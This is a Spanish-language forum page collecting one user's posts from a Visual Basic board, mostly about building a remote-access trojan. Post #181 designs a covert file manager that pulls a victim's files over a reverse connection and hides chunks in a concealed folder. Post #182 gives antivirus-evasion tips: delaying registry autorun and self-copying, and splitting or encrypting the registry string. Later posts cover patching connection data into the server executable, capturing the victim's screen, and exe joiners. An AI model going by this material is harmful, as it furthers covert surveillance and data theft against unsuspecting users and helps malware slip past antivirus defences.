Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - yovaninu

#181
Hola a todos, hace tiempo por aca discutiamos a cerca de la transferencia de archivos entre nuestro servidor y nuestro cliente y las diferentes formas de hacerlo, con este post pretendo dar las ideas generales para que entre todos mejoremos la idea y logremos hacer un file manager remoto un poco diferente a los ya explicados para que cada uno lo pueda implementar en sus troyanos...
Desearia ir en orden por lo que por ahora sentare una especie de marco teorico, y luego entre todos postearemos el codigo respectivo para las pruebas, aportes, mejoras y sugerencias, en si espero que participen todo aquel que pueda y quiera claro.

Ah y una cosa mas, lo que voy a exponer no es sacado de ninguna parte, creo yo (a no ser que me lo demuestren) que es idea original y lo desarrolle hace unos meses, porsupuesto que lo tengo funcionando en mi troyano y quisiera compratirlo con ustedes para (como repito) poder mejorarlo con vuestros aportes...

Marco Teorico
Una transferencia de archivos desde el servidor hasta el cliente (suponemos conexion inversa) se puede hacer hasta por 4 metodos diferentes, cada uno de ellos ofrecen ventajas y desventajas, aunque si se elige el mejor metodo de acuerdo al tamaño del archivo, las ventajas seran mas.
Estas son:

1.- Clasico, como su nombre lo dice, todo file manager clasico hasta ahora propuesto lo hace a traves de este metodo, se trata de coger el archivo (sea cual sea su tamaño) meterlo a una variable y transferirlo al cliente.
ventajas: ideal para archivos pekeños
desventajas: no sirve para archivos grandes

2.- Logico, se trata de coger el archivo y trocearlo en partes, solo que esas partes estan en la RAM,y desde alli transferirlo parte por parte al cliente, por ejemplo un archivo de 10MB(10485760 bytes) podria dividirse en 64 partes, cada parte es almacenado en un array  de tipo string de 64 posiciones(164KB) en cada celda.

Ventajas:
- Abrir un archivo de 10MB hacia un array string es muchisimo mas rapido que al hacerlo hacia una sola variable string.

- Puesto q la transferencia se hace parte por parte nace el concepto de poder PAUSAR la descarga para mas adelante poder reanudarla.

- Mayor control de la descarga, pues se usa 2 progressbar, una para el avance general y otra para el avance de la acumulacion de los trozos.

Desventajas:
- Nos vemos limitados por la RAM
- no es bueno para archivos muy pequeños, 5kb o 20kb

3. Fisico, es relativo al metodo anterior, pues el metodo logico esta limitado por la RAM, pero ¿que pasa si en vez de trocear el archivo hacia un array de memoria, lo hacemos hacia el disco duro?, pues que ya no hay limite de RAM, se crean 64 archivos en una carpeta oculta, y cada archivo se transfiere por el metodo clasico, en el cliente juntamos los trozos y creamos el archivo final.

Ventajas
- NO hay limite de RAM
- si el archivo original se elimina en el servidor, nosotros lo tenemos en 64 partes divididas, salvo que eliminen tambien los trozos, pero lo ocultamos bien.
- ideal para archivos importantes
- tambien se puede pausar y reanudar

Desventajas
- muy lento, crear archivos en el disco es mas lento que crear variables en la RAM
- 50MB en 64 archivos??? podriamos colapsar la pc de la victima
- tambien no sirve para archivos pequeños

4. Optimo, para mi el mejor de todos obviamente para el tamaño adecuado, este metodo no trozea el archivo, es decir no lo llevamos ni a un array de memoria ni al disco, sino el metodo optimo abre el archivo saca una parte de él en una unica variable tipo string y lo envia al cliente, ésta parte puede ser graduada desde el cliente dependiendo del tamaño del archivo a transferir, esto se repite hasta terminar con todo el archivo, asi no se ocupa ni memoria (en todo caso, es minimo lo que se ocupa) ni mucho menos disco.
Con este metodo, logro transferir archivos de 50MB 100 o 500MB o hasta mas, claro que no es muy rapido pero puedo hacer que lo sea diciendo al servidor que saque partes mas grandes para completar mas rapido el gran archivo, todo se maneja con estricto control ya que tambien aqui algunas ventajas de los metodos logico y fisico se cumplen.

Ventajas:
- ideal para archivos de tamaño muy grande
- se puede tambien pausar y reanudar
- no se necesita transferir todo el archivo ni a memoria ni a disco (solo abrirlo)
- total control con 2 progress bar

Desventajas
- un poco lento, pero se puede evitar
- para archivos medianos, 10 o 20MB se hace muy lento, mejor usar el metodo logico
- ninguna mas, creo

puesto que se puede pausar en los ultimos 3 metodos, entonces puede iniciarse otra descarga, y si se desea pausar esa  reanudar la anterior, claro esta que solo podemos transferir un archivo a la vez, aunque supongo que se puede transferir multiples archivos no solo de un mismo servidor sino de otros...

y por ultimo tambien discutiremos las opciones de cancelar descarga y previsualizar (lo que se haya descargado) para casos de archivos mp3 o videos

En el proximo capitulo, (y con todos) arrancamos el proyecto... o hay mas teoria?... las escucho...

si no os agrada la idea, cancelamos la idea...

por cierto requisitos:
un cliente y un servidor conectados (en modo local claro) es todo, es decir partimos de 1 y no de 0.

Un saludo.
#182
Programación Visual Basic / Re: Mi "troyano"
22 Mayo 2007, 19:13 PM
Cita de: vivachapas en 21 Mayo 2007, 23:19 PM

como se podria volver a hacer invisible?? pienso q cambiando la ruta en donde se guarda para iniciarse con windows o cambiando la funcion q lo descifra... pero no se...

si alguno sabe y me puede decir se lo agradeceria
creo que hay varias formas, yo tambien estoy en eso de hacer a mi troyano lo mas indetectable posible...

- que a la hora de insrterse en el registro y autocpiarse en c:\windows  lo haga bajo un timer, es decir despues de un tiempo, asi dicen el av no lo detecta por ese concepto

- que a la hora de poner la cadena de registro en el codigo, ésta este partida y/o cifrada, asi el av tampoco lo detecta

hay mas consejos...???
#183
tienes que documentarte mas, los datos del ip y port no los tienes que adjuntar al codigo, sino al exe resultante del codigo, para eso tienes que abrir el exe servidor en binario y agregar tales datos al final del exe para no estropearlo... hay info al rrespecto es cuestion de que busques mas...
un saludo
#184
te sirvió? wow, ya crei que era un code de otro planeta...
nadie decia nada  ;D ;D ;D ;D
#185
Este codigo que les dejo en este post lo hize cuando vanamente crei hacer una especie de regla de juego para el GunBound, en donde los tiros se median con ditancias y todo eso... No es un aimbot ni nada parecido... crei que haciendo esto ya no tendria que poner mi regla de papel para medir los angulos y disparar...

Se trata de un programa que:

  • al presionar Ctrl+Alt+Shift+F1 (izquierdo(quiza varias veces hasta que salga)) sale una ventana en la que se puede especificar la distancia en pixeles con la que se graficaran las barras.
  • Grafica barras a distancias especificadas y enumeradas sobre la pantalla estando activa cualquier otra, lo hace si presionamos Ctrl+Alt+Z


el code:

en un módulo:

Dim EBR As Byte
Dim RETORNO As Long
Public SStep As Integer
Dim Position As POINTAPI
Public Type POINTAPI
x As Long
y As Long
End Type

Dim i As Byte

Declare Function GetWindowDC Lib "user32" (ByVal hwnd As Long) As Long


Declare Function Ellipse Lib "gdi32" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long


Public Declare Function LineTo Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long
Public Declare Function TextOut Lib "gdi32" Alias "TextOutA" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal lpString As String, ByVal nCount As Long) As Long


Public Declare Function GetTextColor Lib "gdi32" (ByVal hdc As Long) As Long
Public Declare Function SetTextColor Lib "gdi32" (ByVal hdc As Long, ByVal crColor As Long) As Long
Public Declare Function Rectangle Lib "gdi32" (ByVal hdc As Long, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long



Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function GetKeyboardState Lib "user32" (ByVal StateOfKey As Byte) As Long
 
Private Const VALPRESS = -32767
Private Const SHIFTI As Integer = 160
Private Const ALTI As Integer = 164
Private Const CTRLI As Integer = 162


   
Function GetPressedKey() As String

   If GetAsyncKeyState(CTRLI) < 0 Then
    If GetAsyncKeyState(ALTI) < 0 Then
     If GetAsyncKeyState(SHIFTI) < 0 Then
      If GetAsyncKeyState(112) < 0 Then 'f1
       Form1.Visible = True
      End If
     End If
    End If
   End If
   
   If GetAsyncKeyState(CTRLI) < 0 Then
    If GetAsyncKeyState(ALTI) < 0 Then
      RETORNO = GetAsyncKeyState(90)
      If RETORNO = VALPRESS Then
      EBR = 0
      For j = 0 To 1200 Step SStep
         Rectangle GetWindowDC(0), j, 600, j + 3, 200
         TextOut GetWindowDC(0), j - 7, 180, Str(EBR), Len(Str(EBR))
         EBR = EBR + 1
      Next j
   
      End If
    End If
   End If
   
End Function



en un formulario con visible=false, crear un text1, un command1 y un timer1 de nombre mitimer a 125 de interval

y éste es el código:

Private Sub Command1_Click()
SStep = Val(Text1)
Form1.Visible = False
End Sub

Private Sub Form_Load()
SStep = 50
EBR = 1
End Sub

Private Sub miTimer_Timer()
    ret = GetPressedKey
End Sub



naturalmente en el cuadro de texto se especifica, la distancia de las barras cuando éstas se grafican...

En fin... lo posteo por que hace muchisimo tiempo hize esta pregunta en este foro y nadie me dio una solucion... busque un poco mas y bueno ahi esta... como dice el titulo del post, quiza pueda servir de algo a alguien... a las finales a mi y para mi proposito nunca me sirvio, pues el "nProtect Game Guard" del Gunbound al parecer bloquea las Apis que hacen esto y no se puede graficar directamente en el juego, hubiese sido un gran invento creo yo... no se como lo haran con los aimbots...

Quiza les interese como el programita detecta las teclas Ctrl o Alt o Shift, para los que no sabian como hacerlo... bueno para lo que quieran...

Un Saludo!

#186
Cita de: nhaalclkiemr en  5 Mayo 2007, 01:54 AM
Pues bien, yo lo que quiero hacer es cojer un archivo, leer su contenido y escribirlo en otro...eso de momento...

con esto lees todo el archivo y lo pasas a una variable


Dim filedata As String
Open "c:\tuarchivo.txt" For Binary As #1
  filedata = Input(LOF(1), 1)
Close #1


y con esto escribes lo leido en otro archivo nuevo:

Open "c:\otroarchivo.txt" For Binary As #1
Put #1, 1, filedata
Close #1


te refieres a eso?... ahora lo de sacar parte del archivo para eso tendrias que usar la instruccion Get que permite especificar desde donde se hace la lectura y por cuantos bytes dependiendo del tamaño de la variable receptora... pero eso ya es otra historia.
Un saludo!
#187
para esta funcionalidad de mi troyano yo hago uso de la libreria DiJPG.dLL... que te permite comprimir un BMP (producto de una captura correcta en bmp) a un jpg cuya calidad de imagen se gradua de acuerdo a un parametro de la libreria.

en general de un form normal:


Private Declare Function DIWriteJpg Lib "DIjpg.dll" (ByVal DestPath As String, ByVal quality As Long, ByVal progressive As Long) As Long

'variables para la captura de imagen en BMP
Dim aImg As Long
Dim sImg As Long

'API para captura de pantalla
Private Declare Function GetDesktopWindow Lib "user32" () As Long
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long


para capturar usas lo siguiente en un boton que puede ser "Capturar"

    Me.Cls
    Me.AutoRedraw = True
    Me.ScaleMode = 1
    aImg = GetDesktopWindow()
    sImg = GetDC(aImg)
    BitBlt Me.hDC, 0, 0, Screen.Width, Screen.Height, sImg, 0, 0, vbSrcCopy

    SavePicture Me.Image,  "c:\imagen.bmp"
   
    If SetWindowPos(hwnd, -1, 0, 0, 0, 0, SWP_Flags) Then
     Me.WindowState = 2
    End If

con lo que toda la pantalla se queda guardado en imagen.bmp que normalmente sera de casi 1.5MB, y para trasladarlo en el cliente seria muy lento... aqui interviene DIJPG.DLL...

Dibujas un control picture con autosize a true en el form:
y el siguiente codigo puede ir en un boton "Comprimir":

Dim loadStr As String

Picture1.Picture = LoadPicture("c:\imagen.bmp")

loadStr =  "c:\test.jpg"
SavePicture PictureUno.Image, "C:\tmp.bmp"

retVal = DIWriteJpg(loadStr, 50, 1) '50 es la calidad. disminuir para menor tamaño, un valor 8 o aproximado permite un archivo de solo 10 a 15kb, el cual seria muchisimo mas facil traerlo al cliente.

Kill "C:\tmp.bmp"



y una vez comprimido lo jalas desde el cliente y alli lo muestras en un Picture a tu gusto.... aunque yo lo muestro en un control webbrowser... ya es eleccion de cada uno.

La libreria a la que me refiero es facil de encontrarlo con el tio google.

Un saludo
#188
tanto asi como crear un exe desde otro no creo que se pueda, lo que si puedes hacer es juntar el exe2 al exe1, y exe1 se encargaria de separarlo y ejecutar a exe2... es la misma base en la que se apoyan los joinners normales....
#189
Programación Visual Basic / Re: API winsock
30 Abril 2007, 05:08 AM
supongo que estas con conexion inversa no? y es en el cliente en donde haces todo lo que dices verdad? pues en el cliente no tienes por que usar el winsock con APIs, usalo normalmente como un control. es en el servidor donde se usa esa API par que precisamente éste servidor no dependa de ninguna OCX... el control winsock normal con el winsock por APIs se complementan de = a = y no hay ningun tipo de problema... ahora que si quieres usar aun asi arrays, bueno solo declaralo

Public WithEvents WS(1 to 64) As CSocket, pero yo de ti no me complicaria las cosas y usaria en mi cliente el Control Winsock 6.0 creo? por que es valido que nuestro cliente tenga miles de dependencias, eso no es pekado o si?
#190
Programación Visual Basic / Re: API winsock
29 Abril 2007, 20:39 PM
hey hey hey, estamos alargando mucho esto de acuerdo? no te emociones, revisa bien el ejemplo te dice ese error pues te falta la siguiente  :-[ :-[ :-[ :-[ :-[ linea:

Set WS = New CSocket

deberia quedar asi joder:  :-[ :-[ :-[ :-[

Set WS = New CSocket

WS.CloseSocket
WS.LocalPort = 1111
WS.Listen



y si te sigue dando error... no se ah! en serio  :-[ :-[ :-[ :-[